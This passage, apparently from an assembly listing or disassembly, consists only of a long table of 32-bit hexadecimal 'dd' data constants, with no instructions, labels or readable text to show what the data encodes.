		dd 9E7B50DDh, 37BF4B37h, 66550980h, 213DE181h, 5A08B64Fh
		dd 43C01BF5h, 31469F64h, 4D38579Ch, 80D49259h, 0F4F98112h
		dd 0BFA914FDh, 6BB2A124h, 44712E4Eh, 76696109h,	2E2F91A5h
		dd 0F6E44C4Eh, 2C929D70h, 3CF7CDFBh, 6679A2C1h,	3A412DE0h
		dd 1D9D25Ch, 0BD80C00Bh, 48AAFA8h, 0BE11C97Dh, 0E4D0AFF4h
		dd 0B5018929h, 7073D273h, 185E8698h, 0B0E078E2h, 97015201h
		dd 11D059CAh, 0A0C0D5A8h, 800D10C9h, 0B5268051h, 371D55h
		dd 0AB46C5C1h, 2A8F6379h, 69E86810h, 782FBE97h,	234B4587h
		dd 66AF4644h, 0F3BD0C49h, 32D7378h, 529C7C2Fh, 5C56013Eh
		dd 7C0C2DB7h, 0B8BFA77h, 87C8145Dh, 0FF0D6334h,	0F3EB0B74h
		dd 1D878686h, 0B11F321h, 70A4E05Eh, 56A7795Fh, 9CF7FC4Ah
		dd 61797EBBh, 2E72E1F5h, 1163F8A7h, 42736153h, 5B2A2038h
		dd 42354D73h, 30C90CFCh, 9E7CB677h, 0A6CF3C5Dh,	792A3483h
		dd 0E612B010h, 2A2E688Ah, 0B35CEB30h, 0AB336FCCh, 72DC5E19h
		dd 68FB0A57h, 544F80B1h, 0AC4543E4h, 95B426B5h,	8AC1AA7h
		dd 48A40C24h, 4894E49Ch, 4884E48Ch, 4874E47Ch, 2201916Ch
		dd 25C4464h, 44125089h,	64FB0324h, 758F0964h, 5B0C8088h
		dd 7E504984h, 864941Dh,	315321D9h, 6416529Fh, 101508AEh
		dd 101B115Eh, 3D21116Dh, 86068B5h, 59A8F649h, 3A084D64h
		dd 64CA20D7h, 840E11B4h, 6E724074h, 58313028h, 5B271161h
		dd 6D168072h, 1F0B641Fh, 5A857E5Dh, 0F63E2156h,	0DBA8E695h
		dd 0ABB4EA10h, 852E7B23h, 344A387Ah, 43B5AB1Eh,	909B3C0Dh
		dd 2E9A9A27h, 742398DBh, 893436D2h, 0ED2F6EA8h,	5DCD93F5h
		dd 5D63D2FBh, 99D7206Ah, 3ED96CB4h, 687F5408h, 0EBB63297h
		dd 75E4D752h, 64CC1DB8h, 20AE2E6Bh, 0C4BEC88Eh,	6267D226h
		dd 0DBED9DBFh, 242E94A5h, 94592DDFh, 639304ACh,	116F10E3h
		dd 8F52E9Ah, 8B4D3206h,	909ADDEAh, 2EDD5116h, 14489B64h
		dd 2891B34Eh, 214E666Fh, 72802E29h, 0F66D7C26h,	0CBD56B69h
		dd 6CC83D0Ah, 438BA65Eh, 65E5DC2Ch, 0BAF83441h,	4DBFC09Dh
		dd 68612450h, 278E3D63h, 232C7C92h, 85AC76B2h, 22C85094h
		dd 55B54A25h, 23F1DA64h, 0A4C89408h, 42746674h,	0B043BFF7h
		dd 6DDE64E2h, 0F4D0F56Eh, 63A2BC1Ah, 985BF546h,	348B65E2h
		dd 1A1B7672h, 40A96173h, 0C96D2B66h, 524485A3h,	9C8F3E34h
		dd 40BC0A27h, 69E4215Fh, 6268745Ah, 925EE564h, 0AECEF358h
		dd 1563E98Fh, 424424B1h, 0F2516C61h, 755EF63Dh,	204901F7h
		dd 5AA469BCh, 0E449E894h, 8DF6EF60h, 8D6B7614h,	0D2B73D38h
		dd 7027142Eh, 55A728F9h, 811CE61Ah, 22E47751h, 62A0989Bh
		dd 5147F575h, 0A6393AEh, 0EECC6B63h, 43798154h,	706C8942h
		dd 97705E5Dh, 7CE6DB4Ch, 0BAA9414Bh, 6C416DD2h,	6EEBDF39h
		dd 2AEA8CC8h, 6CBA255Ah, 8264D7B4h, 5A68C4Dh, 9182CC72h
		dd 0CAF56AF9h, 0CA30E82Ah, 0D948BC43h, 5235C9A4h, 5C6569DBh
		dd 2D03C36Bh, 0CA9A794Ch, 7995AB36h, 25802318h,	455512D7h
		dd 0BA77E9E7h, 0A1E84DACh, 5EE4E934h, 0C0A596A6h, 0A2DF785Bh
		dd 9B49D087h, 2CF07A28h, 259F548Dh, 38F5C565h, 7403D779h
		dd 0FA0B529Ch, 1874A534h, 4C520C62h, 6418D728h,	0D41865E5h
		dd 0F90C67E0h, 0B82F54Ch, 94A1487Bh, 6B951728h,	0CA4D4B72h
		dd 0DE6E564Fh, 332B73EDh, 0A2843A74h, 853AEDDCh, 5CDADBF7h
		dd 696BAEA0h, 68859E96h, 0E810515Ah, 39705B3Ch,	312D2DF0h
		dd 0B2D04334h, 3606A332h, 960B7A75h, 0CA9BA024h, 23D55908h
		dd 4D53D15Ch, 93D76EBDh, 0A1A8F6CEh, 913A5E4h, 0DADC7C1Bh
		dd 2B22F503h, 545A7275h, 42A7018Dh, 0F6A12F4Bh,	325524EDh
		dd 75E3344Bh, 5935BFBDh, 44F3769h, 0B34064A4h, 0AA74D415h
		dd 30D13446h, 5BD255E8h, 0F8F624BBh, 1424B525h,	0CCFC4886h
		dd 57395094h, 7E6BD5E9h, 0B5F0CA96h, 0C92EAD84h, 2FB02F9Dh
		dd 0B512A465h, 27652466h, 0AEF4C52h, 0C9177544h, 0AD49AD5Ch
		dd 0BAF210A9h, 0A9AA5528h, 6651257Bh, 125329B2h, 1C418DD7h
		dd 14914E3Dh, 8A50EAD2h, 0D5663819h, 6E101C3Bh,	4E0A4AA4h
		dd 95626D75h, 15173EB4h, 92609211h, 0F22FB0A1h,	0D081D098h
		dd 0CA14911Ah, 7772B441h, 76843D96h, 1C6F4834h,	6BCDDAAAh
		dd 0BCBBDE29h, 0DE0C9DEh, 0A2DD6A48h, 0F09355FAh, 47892B50h
		dd 42B1EB9h, 644548AEh,	0B34AEBA8h, 116F284Dh, 2846AB9Fh
		dd 67A951CDh, 3CC11A1h,	12754A46h, 43A5A99Ch, 15B14B11h
		dd 1CA5B91Dh, 0CA4A935Eh, 29EA726Eh, 0AA4C3CF7h, 296E4117h
		dd 0C5AC04DEh, 0D260B8FCh
		dd 4F301C4h, 5092B14Dh,	14487C21h, 0ED2B4CAFh, 0D08AC804h
		dd 0A351644Eh, 0CE975B8Eh, 4A544C4Bh, 7FB49D3Ah, 0A84B288Fh
		dd 0D4DDA5BEh, 2373DA09h, 0C2BDCA5Ch, 372194C5h, 639238C8h
		dd 720D8DFEh, 0FCF6E45Fh, 4840B7B4h, 0F6F2A40Ch, 27471268h
		dd 0B26E3704h, 6A28CD1Ch, 0C0B63B28h, 877B729Dh, 0C5F53C38h
		dd 657963D4h, 2ECB212Fh, 2A985D29h, 294E39E9h, 9C363808h
		dd 0EE69ECABh, 48238581h, 706F8824h, 1227B12Bh,	79B8E24Fh
		dd 79BE3CBDh, 0C98526E8h, 0B46D8104h, 0C49F64FEh, 0E9929403h
		dd 3A273B76h, 9A19128Fh, 3CF0DE08h, 9D749FEBh, 9A9FA6Ah
		dd 4D09BA6Dh, 0A9A24EDAh, 5A7F6465h, 9A576C11h,	30947FC6h
		dd 59AF5AADh, 0AA09A781h, 9E6396D7h, 49525421h,	0D20E482Dh
		dd 0E11A76ABh, 904C29FBh, 0DDFED2E8h, 0CA7E459Ah, 94245272h
		dd 0C804BDCFh, 1138CC99h, 4E6E324Ah, 44737177h,	1E25AA6Dh
		dd 856AD836h, 0B1B3A5CFh, 80E9914Eh, 0B4BE51B6h, 5627CFCDh
		dd 2CA4B890h, 60942EFAh, 383C9755h, 1AD73EB3h, 0E918AA9h
		dd 35B43C47h, 4B18E32Bh, 0EAF61BE8h, 781B5831h,	8911A0Bh
		dd 37914AA6h, 889158Dh,	16770201h, 9784460h, 66104AE1h
		dd 81CA3882h, 2EDD6B08h, 9074609h, 42FBC8B2h, 0D8846AE2h
		dd 895BB875h, 0F8B45023h, 4C799770h, 54711CA3h,	2014D975h
		dd 3F4AB3AEh, 6FC9586Bh, 7874E721h, 48F45929h, 520C824h
		dd 7C2D6343h, 78722B34h, 4586955h, 0BF0413D5h, 0C2088051h
		dd 0E343132Ch, 0A3094A78h, 0F638AD7Fh, 7D307068h, 0A1215B2Dh
		dd 4C4FD038h, 0E5B55592h, 0B0107A90h, 42709ED8h, 10C31045h
		dd 2212F009h, 0CCD444E0h, 0BC12C489h, 0A848B424h, 9822A091h
		dd 89849044h, 2474127Ch, 91644868h, 4450225Ch, 28893844h
		dd 0D4221C12h, 63EC5C50h, 18348A10h, 7473200Ch,	0C6197004h
		dd 0F911F809h, 0E86848E9h, 9DC11CCh, 12CC89D4h,	48BC24C4h
		dd 22AC91B4h, 949C44A4h, 84128C89h, 78488024h, 6C407091h
		dd 6011CC68h, 0FC8B5809h, 40914848h, 2C443822h,	12188920h
		dd 48102414h, 3E04910Ch, 89F4C0FCh, 24E012ECh, 91CC48D4h
		dd 44C022C4h, 0A089A8B4h, 0F8289812h, 7C119046h, 67FCAC88h
		dd 0C9781180h, 946C2C31h, 64186411h, 44485009h,	38223C91h
		dd 50D43044h, 0CC28A88Ah, 1C092411h, 0C121489h,	0F810112Eh
		dd 44F4220Fh, 0E089E4ECh, 0D824DC12h, 0C891D048h, 0B444C022h
		dd 12A089A8h, 48902498h, 22809188h, 70744478h, 64126C89h
		dd 5C486024h, 4C225491h, 893C4444h, 242C1234h, 91204824h
		dd 44102218h, 0E40FC08h, 12EC89F4h, 48DC24E0h, 22D091D8h
		dd 0B8C044C8h, 0A812B089h, 94489C24h, 84228C91h, 89747C44h
		dd 2464126Ch, 9154485Ch, 443C224Ch, 1C892C34h, 4240C12h
		dd 0FC20225Ch, 0F0F8440Dh, 0E012E889h, 0CC48D824h, 0A412C091h
		dd 0BC400C21h, 9C8B411h, 22A891ACh, 909844A0h, 78128489h
		dd 2268E023h, 12EF7050h, 48582460h, 2244914Ch, 24304438h
		dd 9911C89h, 0E1082214h, 0B20CF811h, 24E409F9h,	91D448DCh
		dd 44C422CCh, 0AC89B4BCh, 9C24A412h, 88919048h,	78448022h
		dd 12648970h, 4854245Ch, 22409148h, 28304438h, 14121C89h
		dd 422F12Fh, 0E90BF836h, 0E0E84409h, 0D012D889h, 0C048C824h
		dd 0AC22B891h, 899CA444h, 24881290h, 9170487Ch,	44602268h
		dd 48895058h, 38244012h, 28913048h, 18442022h, 1104890Ch
		dd 0E9BA0AFCh, 912FE245h, 59E48B7Ch, 0B412BC09h, 0A448AC24h
		dd 94229C91h, 89848C44h, 2474127Ch, 9164486Ch, 4450225Ch
		dd 34894048h, 24242C12h, 14911C48h, 4440C22h, 0F1096EF8h
		dd 0E48B7891h, 17F9225Fh, 0F245BEC8h, 8B7C912Fh, 0C8225FE4h
		dd 78918009h, 64446C22h, 1254895Ch, 4844244Ch, 2234913Ch
		dd 18204428h, 8121089h,	0F83C112Eh, 78B1F1EFh, 225FE48Bh
		dd 440916F9h, 0AC89B4C0h, 9C24A412h, 8C919448h,	7C448422h
		dd 126C8974h, 485C2464h, 22489150h, 30384440h, 20122889h
		dd 10481824h, 40FCC4BFh, 0E889F407h, 0D424E012h, 0C091CC48h
		dd 0AC44B422h, 129C89A4h, 488C2494h, 22749180h,	5860446Ch
		dd 48125089h, 38484024h, 28223091h, 89141C44h, 2304120Ch
		dd 0E17406FCh, 0DC09228Bh, 89CCD444h, 24B812C0h, 91A448B0h
		dd 44902298h, 78898088h, 68247012h, 54916048h, 44444C22h
		dd 1234893Ch, 48202428h, 22109118h, 5FC3604h, 0EC4409E1h
		dd 12D889E4h, 48C824D0h, 22B491BCh, 9CA444ACh, 88129489h
		dd 74487C24h, 60226C91h, 894C5844h, 24381240h, 91244830h
		dd 45102218h, 0F822C208h, 48F00404h, 22E091E8h,	0C8D044D8h
		dd 0B412BC89h, 0A048A824h, 8C229491h, 5A5C8444h, 117CC669h
		dd 68097064h, 54915C48h, 40444822h, 12308938h, 48202428h
		dd 7F0C9118h, 0D903F888h, 12E409E9h, 48D424DCh,	22C091C8h
		dd 0A0AC44B8h, 8C129889h, 7C488424h, 64227091h,	89545C44h
		dd 2440124Ch, 912C4838h, 44182220h, 848B0810h, 0D902F846h
		dd 0BE8817E9h, 0CC099145h, 0B844C022h, 12A889B0h, 489424A0h
		dd 2284918Ch, 6870447Ch, 669C5A8Ah, 9581160h, 89485044h
		dd 2434123Ch, 9124482Ch, 4514221Ch, 0F823C208h,	9F16401h
		dd 91E048E8h, 44D022D8h, 0B889C0C8h, 0A824B012h, 94919C48h
		dd 0F0968C22h, 7C118499h, 22700991h, 50584464h,	3C124489h
		dd 2C483424h, 1C222491h, 890C1444h, 84F81304h, 0E491EC08h
		dd 0D444DC22h, 12C089C8h, 48B024B8h, 22A091A8h,	88904498h
		dd 78128089h, 68487024h, 58226091h, 89485044h, 24381240h
		dd 91284830h, 44142220h, 0F888040Ch, 0F0426CFFh, 0DC89E409h
		dd 0C824D412h, 0B491C048h, 0A044A822h, 128C8998h, 48742480h
		dd 2264916Ch, 4854445Ch, 38124089h, 24482C24h, 14221C91h
		dd 22C20845h, 0F004FEF8h, 0E091E848h, 0D044D822h, 12BC89C8h
		dd 48A824B4h, 229891A0h, 80884490h, 68127489h, 54485C24h
		dd 44224C91h, 89343C44h, 2424122Ch, 9114481Ch, 2004220Ch
		dd 0F444FDFCh, 12E489ECh, 48D024D8h, 22C091C8h,	0A4B044B8h
		dd 94129C89h, 84488C24h, 74227C91h, 89646C44h, 244C1258h
		dd 913C4844h, 44282230h, 0C891820h, 0F8880817h,	22F011FCh
		dd 0D8E044E8h, 0C812D089h, 0B848C024h, 0A822B091h, 8994A044h
		dd 2484128Ch, 9174487Ch, 4464226Ch, 4889545Ch, 34243C12h
		dd 24912C48h, 10441822h, 0FBFA8B04h, 0EC48F404h, 0D822E491h
		dd 89C8D044h, 24B412BCh, 91A448ACh, 4494229Ch, 7C89848Ch
		dd 68247412h, 58916048h, 44445022h, 1234893Ch, 4824242Ch
		dd 2214911Ch, 0FC04440Ch, 89F0FA40h, 24E012E8h,	91CC48D8h
		dd 44BC22C4h, 0A489ACB4h, 90249812h, 80918848h,	70447822h
		dd 125C8964h, 48442450h, 2234913Ch, 1C24442Ch, 0C121489h
		dd 0F81B112Eh, 59A4E9F9h, 0D412DC09h, 0C048C824h, 0B022B891h
		dd 89A0A844h, 24901298h, 917C4888h, 44642270h, 4889545Ch
		dd 38244012h, 28913048h, 10441C22h, 0F8FC8808h,	0EC12F481h
		dd 0DC48E424h, 0C822D091h, 89B8C044h, 24A812B0h, 919848A0h
		dd 44882290h, 6889707Ch, 50245C12h, 3C914448h, 24443022h
		dd 12108918h, 7F112E08h, 89F0F740h, 24E012E8h, 91D048D8h
		dd 44BC22C4h, 0A489ACB4h, 90249C12h, 80918848h,	70447822h
		dd 12608968h, 48502458h
		dd 22409148h, 28304438h, 18122089h, 4480C24h, 0F1F6FC8Dh
		dd 7C112FD2h, 959E48Bh,	24C012C8h, 91B048B8h, 44A022A8h
		dd 88899098h, 78248012h, 68917048h, 58446022h, 12488950h
		dd 48382440h, 22289130h, 10184420h, 0FC110889h,	45F9BAF5h
		dd 7C912FE2h, 225FE48Bh, 0BEC817F9h, 912FF245h,	5FE48B7Ch
		dd 0C817F922h, 99145BEh, 4454225Ch, 38894048h, 24242C12h
		dd 10911848h, 11E10822h, 0EC02F4F8h, 0DC48E424h, 0CC22D491h
		dd 89BCC444h, 24A812B0h, 919848A0h, 44882290h, 6C89747Ch
		dd 5C246412h, 4C915448h, 3C444422h, 122C8934h, 48182424h
		dd 10049110h, 897FF3FCh, 24E412ECh, 91D448DCh, 44C022CCh
		dd 0A889B0B8h, 9824A012h, 84919048h, 70447C22h,	12608968h
		dd 48502458h, 22409148h, 242C4438h, 14121C89h, 225C0C24h
		dd 0E9F2F837h, 0F245BC48h, 964912Fh, 91BC48C4h,	44A822B4h
		dd 908998A0h, 80248812h, 70917848h, 60446822h, 12508958h
		dd 48402448h, 222C9134h, 141C4424h, 4120C89h, 4F1FC22h
		dd 91EC48F4h, 44DC22E4h, 0C489CCD4h, 0B424BC12h, 9C91A848h
		dd 8C449422h, 127C8984h, 48682470h, 22589160h, 40484450h
		dd 30123889h, 1C482824h, 8221091h, 0F0F811E1h, 0E8913807h
		dd 0D844E022h, 12C889D0h, 48B824C0h, 22A091ACh,	88904498h
		dd 74128089h, 60486C24h, 50225891h, 89384444h, 2420122Ch
		dd 91104818h, 0F8887008h, 22E1DDEFh, 0BEC817F1h, 912FF245h
		dd 9228B7Ch, 0A0A844B0h, 90129889h, 80488824h, 68227491h
		dd 89546044h, 2444124Ch, 9134483Ch, 4424222Ch, 0C89141Ch
		dd 0FC220412h, 48F404EEh, 22E091E8h, 0C4CC44D8h, 0B012BC89h
		dd 0A048A824h, 8C229891h, 897C8444h, 246C1274h,	91584864h
		dd 44442250h, 28893038h, 18242012h, 8911048h, 0EDF88870h
		dd 0E812F081h, 0D448DC24h, 0C422CC91h, 89B4BC44h, 24A412ACh
		dd 91904898h, 447C2288h, 60896870h, 50245812h, 3C914448h
		dd 88203422h, 112C6690h, 14440920h, 46848B08h, 0E9E9ECF8h
		dd 0E0440916h, 12CC89D4h, 48BC24C4h, 22AC91B4h,	909C44A4h
		dd 7C128889h, 6C487424h, 5C226491h, 89485444h, 24341240h
		dd 9124482Ch, 4414221Ch, 0F888040Ch, 22E9DDEBh,	0B2C817F1h
		dd 0BC24C809h, 0AC91B448h, 9844A422h, 12888990h, 4874247Ch
		dd 2264916Ch, 4C54445Ch, 3C124489h, 2C483424h, 1C222491h
		dd 890C1444h, 0EAFC1104h, 0EC24F402h, 0DC91E448h, 0CC44D422h
		dd 12B889C4h, 48A824B0h, 229491A0h, 78804488h, 68127089h
		dd 58486024h, 48225091h, 89384044h, 2424122Ch, 9114481Ch
		dd 0F8887008h, 12F081E9h, 48E024E8h, 22C891D4h,	0B0B844C0h
		dd 9C12A889h, 88489424h, 78228091h, 89687044h, 24541260h
		dd 9144484Ch, 4434223Ch, 1C89242Ch, 8241412h, 8E8FC44h
		dd 22EC91F4h, 0D0D844E4h, 0DF137088h, 17F922F1h, 9145BE88h
		dd 9822A009h, 89889044h, 24781280h, 91684870h, 44542260h
		dd 38894048h, 28243012h, 18912048h, 11E10C22h, 0F002E7F8h
		dd 0E022F12Fh, 89CCD444h, 24B812C0h, 91A848B0h,	449822A0h
		dd 80898890h, 6C247412h, 54916048h, 44444C22h, 12308938h
		dd 48202428h, 22109118h, 0F811E108h, 24EC02E6h,	91DC48E4h
		dd 44CC22D4h, 0B489BCC4h, 0A424AC12h, 94919C48h, 84448C22h
		dd 1270897Ch, 48602468h, 22509158h, 343C4448h, 24122C89h
		dd 14481C24h, 88700891h, 0F1DDE5F4h, 0C817F122h, 24C809B2h
		dd 91B848C0h, 44A422B0h, 8889909Ch, 78248012h, 68917048h
		dd 58446022h, 12488950h, 4834243Ch, 2224912Ch, 0C14441Ch
		dd 0FC110489h, 45F1BAE4h, 7C912FE2h, 625FE48Bh,	0B2C817F9h
		dd 9C24A809h, 88919048h, 78448022h, 12688970h, 48582460h
		dd 22489150h, 30384440h, 20122889h, 10481824h, 88700891h
		dd 0F081E3F8h, 0E024E812h, 0D091D848h, 0BC44C422h, 12A889B4h
		dd 4894249Ch, 2284918Ch, 6C74447Ch, 58126489h, 44484C24h
		dd 34223C91h, 89202C44h, 24101218h, 0E2FC4408h,	0EC91F408h
		dd 0DC44E422h, 12CC89D4h, 48BC24C4h, 22A891B0h,	8894449Ch
		dd 78128089h, 68487024h, 54225C91h, 89404C44h, 24301238h
		dd 911C4828h, 36042210h, 9E1E1FCh, 0E88826B5h, 9DC6411h
		dd 91CC48D4h, 44B822C4h, 0A089A8B0h, 88249412h,	70917C48h
		dd 5C446422h, 12488950h, 48382440h, 22289130h, 10184420h
		dd 8170889h, 11E0F888h,	44E422F0h, 0C889D0D8h, 0B824C012h
		dd 0A891B048h, 9844A022h, 1284898Ch, 4874247Ch,	2260916Ch
		dd 3CA6B558h, 48641150h, 38484009h, 28223091h, 89141C44h
		dd 88081708h, 0EC11DFF8h, 12D8897Fh, 48C824D0h,	22B491BCh
		dd 98A044ACh, 88129089h, 78488024h, 68227091h, 89546044h
		dd 2440124Ch, 912C4834h, 441C2224h, 4890C14h, 2DEF811h
		dd 48E424F0h, 22D491DCh, 0BCC444CCh, 0A812B089h, 9848A024h
		dd 88229091h, 89788044h, 24681270h, 91584860h, 44482250h
		dd 28893440h, 14241C12h, 4910C48h, 22DDFC10h, 0E4EC44F4h
		dd 0CC12D889h, 0BC48C424h, 0AC22B491h, 899CA444h, 248C1294h
		dd 91784884h, 44682270h, 4C895860h, 3C244412h, 28913048h
		dd 18442022h, 1104890Ch, 0E9BADCFCh, 912FE245h,	48D00964h
		dd 22C091C8h, 0A4AC44B4h, 90129C89h, 80488824h,	70227891h
		dd 895C6844h, 244C1254h, 91384840h, 44282230h, 0C891820h
		dd 0FC230412h, 9E964DBh, 91E048E8h, 44D022D8h, 0B889C0C8h
		dd 0A424B012h, 94919C48h, 84448C22h, 12708978h,	48602468h
		dd 224C9158h, 30384444h, 20122889h, 0C481424h, 0FC1B0491h
		dd 922E9DAh, 0DCE444ECh, 0CC12D489h, 0BC48C424h, 0AC22B491h
		dd 8998A044h, 2484128Ch, 9170487Ch, 445C2268h, 44894C54h
		dd 30243812h, 20912848h, 10451822h, 0D9FC23C2h,	0C48BE974h
		dd 9C8225Fh, 22C491D0h,	0A8B044B8h, 9812A089h, 90489424h
		dd 78228491h, 89606C44h, 24481254h, 9130483Ch, 44182224h
		dd 4890C10h, 0F8880817h, 22F011D8h, 0D412F7E4h,	0C448C824h
		dd 0B422C091h, 89A4B044h, 249012A0h, 9188488Ch,	4470227Ch
		dd 5C896064h, 4C245812h, 3C914848h, 24443022h, 170C8918h
		dd 0D7FC8D08h, 92CD2E9h, 12DC89E0h, 48C424D0h, 22AC91B8h
		dd 889444A0h, 78127C89h, 70487424h, 60226491h, 89485444h
		dd 24401244h, 9138483Ch, 4428222Ch, 14891824h, 0C241012h
		dd 0FC880848h, 22EC11D6h, 0D8E444E8h, 0C012CC89h, 0A848B424h
		dd 98229C91h, 89848844h, 24741278h, 915C4868h, 44442250h
		dd 28893438h, 10241C12h, 44B80C48h, 0C9D56CF4h,	0D889DC09h
		dd 0BC24CC12h, 0AC91B048h, 9C44A022h, 128C8990h, 48842488h
		dd 22789180h, 5C684470h, 81219088h, 54119958h, 4C125009h
		dd 44484824h, 38224091h, 8E303444h, 89242844h, 2418121Ch
		dd 91084810h, 0FC887004h, 12F081D4h, 48E024E8h,	22D091D8h
		dd 7AC845CCh, 18E92075h, 0BCBC88F4h, 9B041CCh, 0AC5340F8h
		dd 9A811CCh, 129889A0h,	48882490h, 2270917Ch, 6468446Ch
		dd 5C126089h, 0B4575824h, 11CC54A0h, 884C0950h,	1ABF0E84h
		dd 9A54FC88h, 30FC2148h, 38114099h, 0E06909AFh,	0B4119130h
		dd 18642422h, 0E25F1409h, 88040C44h, 0A9D9D3FCh, 0E012EC09h
		dd 0C848D424h, 0C022C491h
		dd 89B4BC44h, 24A412ACh, 9190489Ch, 44782284h, 6C897074h
		dd 5C246412h, 4C915448h, 34444022h, 12248928h, 481C2420h
		dd 220C9114h, 0D2FC2004h, 89E4F044h, 24D412D8h,	91CC48D0h
		dd 44BC22C4h, 0A089ACB4h, 88249412h, 80918448h,	74447C22h
		dd 1264896Ch, 4850245Ch, 22389144h, 2C304434h, 1C122489h
		dd 0C481424h, 8654EBAFh, 0D1F42A11h, 0EC09C884h, 0E022E891h
		dd 89D0D844h, 24BC12C8h, 99A448B0h, 999C6924h, 8C099411h
		dd 84248812h, 7C918048h, 6C447422h, 0E4FE8A64h,	14116099h
		dd 0EC1B55E6h, 0F05489A7h, 515866D6h, 48440950h, 1230893Ch
		dd 48202428h, 22109118h, 0F811E108h, 24F002D0h,	0B4F457E8h
		dd 6C955Ch, 295046E1h, 0F109D86Eh, 0C044C822h, 12B089B8h
		dd 48A024A8h, 22909198h, 78804488h, 68127089h, 58486024h
		dd 48225091h, 89384044h, 24281230h, 91184820h, 0E1082210h
		dd 2CFF811h, 48E824F0h,	22D891E0h, 0C0C844D0h, 0B012B889h
		dd 0A048A824h, 90229891h, 89808844h, 24701278h,	91604868h
		dd 44502258h, 558A4048h, 4638B839h, 2842090Ch, 11242966h
		dd 0C4091C64h, 143063AEh, 90C1932h, 0CEFC2204h,	0EC48F404h
		dd 0D822E091h, 89C8CC44h, 4ADC13C0h, 0BCA8A4A1h, 117019CCh
		dd 91AC89B4h, 9C22A409h, 89849044h, 246C1278h, 0A5644868h
		dd 58BEBC50h, 21945C51h, 9641450h, 48B95238h, 335E303Eh
		dd 113228C8h, 2914091Ch, 1099145Ch, 9910C11h, 344C4F08h
		dd 5AFC1104h, 0AA1034CDh, 12D6782Bh, 333CCBF8h,	22F071F4h
		dd 0E844EC09h, 610F6C34h, 9C8D811h, 4ACC91D0h, 31546C4Ch
		dd 12BC89C4h, 4CA824B4h, 8998099Ch, 24901294h, 9188488Ch
		dd 44802284h, 68897078h, 54246012h, 44914848h, 3C444022h
		dd 122C8934h, 481C2424h, 70049110h, 81CCFC88h, 24F012F8h
		dd 91E448E8h, 45DC22E0h, 0C824FED4h, 0C091C448h, 0B044B822h
		dd 12A489A8h, 489C24A0h, 228C9194h, 7C804484h, 70127889h
		dd 60486824h, 58225C91h, 894C5444h, 243C1244h, 91344838h
		dd 44282230h, 14891820h, 0C241012h, 0FC880448h,	22F411CBh
		dd 0E8EC44F0h, 0D812E089h, 0CC48D024h, 0C422C891h, 89B4BC44h
		dd 24A812ACh, 91A048A4h, 44902298h, 80898488h, 74247C12h
		dd 64916C48h, 5C446022h, 12508958h, 48402448h, 2238913Ch
		dd 242C4434h, 18121C89h, 10481424h, 88700891h, 0F481CAF8h
		dd 0EC24F012h, 0DC91E448h, 0D044D422h, 12C889CCh, 48B824C0h
		dd 22AC91B0h, 9CA444A8h, 8C129489h, 84488824h, 78228091h
		dd 89687044h, 24601264h, 9154485Ch, 9144224Ch, 1140196Ch
		dd 3409913Ch, 24442C22h, 1214891Ch, 4404240Ch, 0EC08C9F8h
		dd 0D822E091h, 89C8D044h, 24B812C0h, 91A848B0h,	449822A0h
		dd 84898C94h, 74247C12h, 64916C48h, 54445C22h, 446A8A4Ch
		dd 52C0BD5Dh, 7C34095Fh, 31096C3Ch, 3375D0BFh, 37103633h
		dd 0FD390C3Ch, 6F0B10DBh, 0FBBF3117h, 0B60DF57Bh, 0DC1D2117h
		dd 3632020Fh, 102D3438h, 40A8C7DBh, 76626E6Dh, 5C48DC8Eh
		dd 79335B32h, 787377A0h, 65E014A3h, 2CA86364h, 7A556171h
		dd 31180C34h, 0DBEB10A6h, 456316FFh, 47C53AFDh,	71C593AEh
		dd 658B778Bh, 12081A8Dh, 6160A0Dh, 1E833A1Ch, 62305A95h
		dd 9AA320Dh, 3C88A12Ch,	8204C23h, 3A790CCEh, 0F52C2E18h
		dd 3823DC08h, 64096846h, 83703B4h, 9C11CE08h, 19CA182Ah
		dd 8A10177h, 8C7046B8h,	191856E1h, 0D017655h, 8433C208h
		dd 0B2180A67h, 1A87919h, 9C116E08h, 18553823h, 1741995h
		dd 8C700843h, 0ACC219E1h, 0AA731918h, 84081B01h, 15CE0867h
		dd 75196518h, 0DC080150h, 70463823h, 192A18ABh,	8860170h
		dd 33C219E1h, 19185985h, 3701546Fh, 11CE0808h, 0CA182A9Ch
		dd 0A1016E19h, 7046B808h, 1856E18Ch, 16D5519h, 33C2080Dh
		dd 180A6784h, 0A86C19B2h, 116E0801h, 5538239Ch,	6B199518h
		dd 70084301h, 0C219E18Ch, 6A1918ACh, 81B01AAh, 0CE086784h
		dd 19651815h, 8015069h,	463823DCh, 2A18AB70h, 86016819h
		dd 0C219E108h, 18598533h, 1546719h, 0CE080837h,	182A9C11h
		dd 16519CAh, 46B808A1h,	56E18C70h, 66511918h, 0C2080D01h
		dd 0A108533h, 68F6490Dh, 116E0802h, 810A289Ch, 159630Dh
		dd 87700C0Bh, 43125638h, 0DC209024h, 19CA182Ah,	0CC80162h
		dd 0C239845Bh, 241C12B2h, 56E12086h, 72261918h,	0E726E266h
		dd 64DB9249h, 0E8E3E7D7h, 24686766h, 0A3B46B6Ah, 9043B80Ch
		dd 2223DC08h, 98949A18h, 62760AD4h, 6E086D6Eh, 0B6219C11h
		dd 19C91109h, 0C887FD6Bh, 54643C61h, 74594F39h,	4B204167h
		dd 51295286h, 843EC872h, 0FB87FBB9h, 693C560Bh,	0C7DE04A9h
		dd 60C2D5Ah, 69089AEEh,	0C8077D4h, 69757974h, 0CA5706Fh
		dd 219C43B8h, 93608C8h,	0BCEE9F20h, 0E5B53170h,	0C878AC0Ch
		dd 5B0C6801h, 0B2C23984h, 84241C12h, 4E08C120h,	57494B4Fh
		dd 455302C3h, 5256075Dh, 0CF546F5Fh, 3C1C5456h,	11532544h
		dd 27E34D99h, 0A6FE4F2Ch, 414F0CA0h, 7FFB74B1h,	594E2959h
		dd 6D618ED4h, 8217569h,	0CC4D4153h, 47674E55h, 98DB6F20h
		dd 0A36374Ch, 32333435h, 0D00522A6h, 0A05F0703h, 5C953661h
		dd 32356524h, 31393408h, 0EB13EA1Dh, 8024339h, 37913823h
		dd 35E436C8h, 33393472h, 0F78E321Ch, 38500C1Dh,	0E21DF18Eh
		dd 8877FC3Bh, 23DE11EFh, 8E7847BCh, 8E371CF1h, 3BE21DF1h
		dd 0EFF877C4h, 0BC23DE11h, 0F18E7847h, 0F18E361Ch, 0C43BE21Dh
		dd 0F1EF8877h, 47BC23DEh, 1CF18E78h, 1DF18E35h,	77C43BE2h
		dd 0DF11EF88h, 7646BCE3h, 709A34FEh, 186A088Ah,	63620810h
		dd 722FCD84h, 283DA211h, 9A083DD0h, 1F08283Ch, 1F2610B4h
